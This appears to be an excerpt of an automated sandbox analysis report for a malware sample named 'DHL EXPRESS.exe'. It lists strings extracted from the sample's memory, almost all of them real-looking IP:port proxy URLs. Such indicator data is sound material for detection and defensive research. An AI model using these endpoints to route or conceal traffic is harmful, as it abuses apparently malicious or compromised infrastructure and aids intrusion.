Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.75.85:59058://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.78.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.78.200:19925
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.78.200:19925://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.78.200:28513
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.78.200:28513://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB54C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:13675
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:13675://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:32930
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:32930://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:35358
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:35358://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:38772
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:38772://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:64556
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.79.177:64556://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.143.113.82
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.143.113.82://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.143.113.82:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.149.103.133
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.149.103.133:61859
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.149.103.133:61859://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.149.103.133:61859P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.150.221.198:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.81.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.81.147:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.81.147:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.81.182:35559
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.16.81.182:35559://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.165.168.190:9898
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.165.168.190:9898://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.166.82.158:62715
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.166.82.158:62715://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.17.246.46:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.17.246.46:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.171.214.19:8001
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.171.214.19:8001://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.184.153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.184.153.66:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.184.153.66:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.202.230.241
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.202.230.241://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.202.230.241:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.226.11.149:41878
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.226.11.149:41878://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.226.16.46:51372
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.226.16.46:51372://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB5E000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADC9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.233.178.137:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.233.178.137:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.244.91.179:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.244.91.179:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB853000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.250.198.66:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB829000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.250.198.66:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC52C000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.32.252.134:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC53D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.32.252.134:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.126.130
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.126.130://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.33.126.130:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.6.155.9:19000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.6.155.9:19000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.79.104.228:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADBEA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:30670
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADBEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:30670://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:40571
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.10.242.18:40571://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.105.130.33:39593
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.105.130.33:39593://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.176.187.99:39837
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.176.187.99:39837://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.176.187.99:8889
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.176.187.99:8889://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.74.255.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.74.255.182:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.74.255.182:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.9.224.113://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.9.224.113:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.112.80.252
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.112.80.252://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.112.80.252:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.115.213
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.115.213.186:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.115.213.186:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.115.213.186:4145HJ4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.145.199.47:56746
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.145.199.47:56746://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.172.122.14:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.172.122.14:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.196.138
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.196.138.91:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.196.138.91:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC505000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC469000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.21.148.50:33192
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.21.148.50:33192://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.121
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.121.66:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.121.66:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.74.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.74.130:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.219.74.130:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.23.11.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.23.11.194:32708
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.23.11.194:32708://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.23.11.194:47152
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.52.247.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.52.247.86:1976
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.52.247.86:1976://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD83F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.52.247.86:1981
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://217.52.247.86:1981://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.145.131
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.145.131.182:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.145.131.182:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.187.67.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.187.67.49:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.187.67.49:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.252.244.126
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.252.244.126://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.252.244.126:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.255.187.60
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.255.187.60://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.255.187.60:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.57.210.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.57.210.186:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.57.210.186:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.6.120.111:7777
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://218.6.120.111:7777://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.134.221.76:1134
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.134.221.76:1134://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.194.189
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.194.189.144:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.194.189.144:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.248.70.237:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://220.248.70.237:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.151.181.101:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.151.181.101:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.153.92.39
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.153.92.39://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.153.92.39:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.6.139.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.6.139.190:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://221.6.139.190:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.124.202.144:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.124.202.144:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.138.76.6:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.138.76.6:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.255.238.159
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.255.238.159://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://222.255.238.159:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.112.53.2:1025
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.112.53.2:1025://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.113.80.158:9091
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.19.111.185
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.19.111.185://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.19.111.185:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.206.142.49:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.206.142.49:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.215.176.229:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.215.176.229:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.231:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.247.47.231:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.25.100.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.25.100.42:2222
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.25.100.42:2222://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.25.98.82:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://223.25.98.82:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADDF5000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD9D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.105.170.30:11642
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.105.170.30:11642://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.122.184.9:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.122.184.9:8888://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.137.248.197:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.152.40.14:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.152.40.14:3128://proxy
